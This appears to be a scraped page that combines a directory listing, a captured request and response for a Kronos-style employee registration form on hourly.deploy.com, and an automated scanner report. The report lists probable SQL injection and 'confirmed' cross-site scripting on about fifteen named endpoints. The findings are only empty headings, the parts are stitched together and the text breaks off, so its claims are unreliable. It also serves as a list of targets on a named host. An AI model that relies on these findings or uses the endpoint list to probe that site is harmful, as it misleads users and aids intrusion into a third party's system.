<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html> <head> <title>Index of /styles/albertson2_3_production_Sep24</title> </head> <body><h1>Index of /styles/albertson2_3_production_Sep24</h1><pre><img src="/icons/blank.gif" alt="Icon " /> <a href="?C=N;O=D">Name</a> <a href="?C=M;O=A">Last modified</a> <a href="?C=S;O=A">Size</a> <a href="?C=D;O=A">Description</a><hr /><img src="/icons/back.gif" alt="[DIR]" /> <a href="/styles/">Parent Directory</a> - <img src="/icons/text.gif" alt="[TXT]" /> <a href="IE7.css">IE7.css</a> 24-Sep-2007 04:00 13K <img src="/icons/text.gif" alt="[TXT]" /> <a href="IE7_quirksmode.css">IE7_quirksmode.css</a> 24-Sep-2007 04:00 46 <img src="/icons/text.gif" alt="[TXT]" /> <a href="adr.css">adr.css</a> 24-Sep-2007 04:00 28K <img src="/icons/folder.gif" alt="[DIR]" /> <a href="client/">client/</a> 24-Sep-2007 04:00 - <img src="/icons/text.gif" alt="[TXT]" /> <a href="form.css">form.css</a> 24-Sep-2007 04:00 4.8K <img src="/icons/text.gif" alt="[TXT]" /> <a href="hmc.css">hmc.css</a> 24-Sep-2007 04:00 30K <img src="/icons/text.gif" alt="[TXT]" /> <a href="printadr.css">printadr.css</a> 24-Sep-2007 04:00 17K <img src="/icons/text.gif" alt="[TXT]" /> <a href="report.css">report.css</a> 24-Sep-2007 04:00 18K <img src="/icons/text.gif" alt="[TXT]" /> <a href="sb.css">sb.css</a> 24-Sep-2007 04:00 14K <img src="/icons/text.gif" alt="[TXT]" /> <a href="tools.css">tools.css</a> 24-Sep-2007 04:00 4.1K <hr /></pre><address>Apache/2.0.46 (Red Hat) Server at hourly.deploy.com Port 443</address></body></html>

- /hmc/report/index.cfm

/hmc/report/index.cfm

https://hourly.deploy.com/hmc/report/index.cfm?register=1

Found E-mails

gm12345@MyCompany.com

Request

GET /hmc/report/index.cfm?register=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hourly.deploy.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:44:13 GMT
Server: Apache/2.0.46 (Red Hat)
Set-Cookie: JSESSIONID=26304851f26c3a5c61f6;path=/
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:44:13 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

<html> <head> <title>Register</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </head> <body onLoad="document.form1.name.focus();"><link rel="STYLESHEET" type="text/css" href="/styles/albertson2_3_production_Sep24/hmc.css"><SCRIPT>var alreadySubmitted = false;function doSubmitCheck(allReadyDone,theForm) { if (allReadyDone) { //do nothing //alert(''); } else { alreadySubmitted = true; document.getElementById('registerForm').style.display='none'; document.getElementById('registerInProgress').style.display='block'; theForm.submit(); } }</SCRIPT> <form name="form1" action="/hmc/report/index.cfm?register=1" method="post" onSubmit="document.form1.register.disabled='disabled';">

<TABLE class="drawBox" align="center" BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH="650">

<TR>
<TD class="FlexBox_ul"></TD>
<TD class="FlexBox_top"></TD>
<TD class="FlexBox_ur"></TD>
</TR>

<TR>
<TD class="FlexBox_left"></TD>
<TD class="FlexBoxContent">

<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td valign="middle" class="smallGray" style="padding-left: 10px; "> <img src="/images/logo.jpg" width="255" height="75"> <br/> <p style="width:240px; padding-left: 10px;"> <span class="largeBoldAccent">Verify Authorization</span> <br/> Your company has provided us with information in order to authorize you to register with Kronos. <br/> <br/> In order to verify your authorization to register we need the following information: </p> <img src="/images/blank.gif" width="1" height="75"> </td> <td> <div id="registerInProgress" style="display:none"> <TABLE width=340 height="380" bgcolor="#FFFFFF" style="border: 1px solid CCCCCC;" border=0 align="center" cellPadding=0 cellSpacing=0> <TBODY style="padding:14px;"> <TR> <TD vAlign=middle align="center"> <img src="/images/registrationprogress.gif" alt="Registration In Progress" width="200" height="40" border="0"> </TD> </TR> </TBODY> </TABLE> </div> <div id="registerForm"> <TABLE width=340 height="380" bgcolor="#FFFFFF" style="border: 1px solid CCCCCC;" border=0 align="center" cellPadding=0 cellSpacing=0> <TBODY style="padding:8px;"> <TR> <TD width="135" vAlign=top class="fieldLabel">Registration ID:</TD> <TD width="200" class="smallGray"><input class="reportfilter" name="name" type="text" size="25" maxlength="50"> <br> <em>Example:</em> MyCompany12345<br></TD> </TR> <TR> <TD vAlign=top class="fieldLabel">Store Number:</TD> <TD><input class="reportfilter" name="storenum" type="text" size="10" maxlength="50"><br></TD> </TR> <TR> <TD vAlign=top class="fieldLabel">Choose a Username:</TD> <TD class="smallGray"><input class="reportfilter" name="j_username" type="text" size="25" maxlength="50"> <BR> The username you provide will be used each time you log on to Kronos.<br></TD> </TR> <TR> <TD vAlign=top class="fieldLabel">Choose a Password:</TD> <TD class="smallGray"><input class="reportfilter" name="j_password" type="password" size="25" maxlength="25"> <BR> Your password must be at least 6 characters.<br></TD> </TR> <TR> <TD vAlign=top class="fieldLabel">Retype Password:</TD> <TD class="smallGray"><input class="reportfilter" name="j_passwordconfirm" type="password" size="25" maxlength="25"> <BR> Please confirm the password you have just entered.<br></TD> </TR> <TR> <TD noWrap vAlign=top class="fieldLabel">Enter Email Address:</TD> <TD class="smallGray"><input class="reportfilter" name="email" type="text" size="25" maxlength="100"> <BR> <em>Example:</em> gm12345@MyCompany.com</TD> </TR> <TR> <TD align=right colSpan=2>

<table class="Button" height="19" border="0" cellpadding="0" cellspacing="0" align="right">

<tr>
<td class="flexbtn_l"></td>
<td class="flexbtn_m" nowrap>

<a access= "1" class="flexbtn_m" href="javascript:doSubmitCheck(alreadySubmitted,document.form1);"

title="Register" >

  Register  

</a>
</td>
<td class="flexbtn_r"></td>
</tr>

</table>
</TD></FORM> </TR> </TBODY> </TABLE> </div> </td> </tr> </table>

</TD>
<TD class="FlexBox_right"></TD>
</TR>

<TR>
<TD class="FlexBox_ll"></TD>
<TD class="FlexBox_bot"></TD>
<TD class="FlexBox_lr"></TD>
</TR>
</TABLE>

</body> </html>

VULNERABILITIES Vulnerabilities
	CRITICAL 4 % IMPORTANT 76 % LOW 12 % INFORMATION 8 %

SQL Injection, XSS, Cross Site Scripting in hourly.deploy.com, CWE-79, CAPEC-86, DORK, GHDB REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Total Requests

Average Speed

SCAN SETTINGS

VULNERABILITIES

VULNERABILITY SUMMARY

[Probable] SQL Injection

Impact

Actions to Take

Remedy

Required Skills for Successful Exploitation

External References

Remedy References

Parameters

Request

Response

Cross-site Scripting

Impact

Remedy

Remedy References

External References

/hmc/ CONFIRMED

Parameters

Request

Response

/hmc/report/index.cfm CONFIRMED

Parameters

Request

Response

/hmc/report/ CONFIRMED

Parameters

Request

Response

/hmc/index.cfm CONFIRMED

Parameters

Request

Response

/hmc/index.cfm CONFIRMED

Parameters

Request

Response

/hmc/report/index.cfm CONFIRMED

Parameters

Request

Response

/hmc/setup/responsefollowupnew.cfm CONFIRMED

Parameters

Request

Response

/webservices/responseService.cfc CONFIRMED

Parameters

Request

Response

/webservices/questionService.cfc CONFIRMED

Parameters

Request

Response

/webservices/questionService.cfc CONFIRMED

Parameters

Request

Response

/webservices/questionService.cfc CONFIRMED

Parameters

Request

Response

/webservices/questionService.cfc CONFIRMED

Parameters

Request

Response

/webservices/responseService.cfc CONFIRMED

Parameters

Request

Response

/webservices/localeService.cfc CONFIRMED

Parameters

Request

Response

Parameters

Request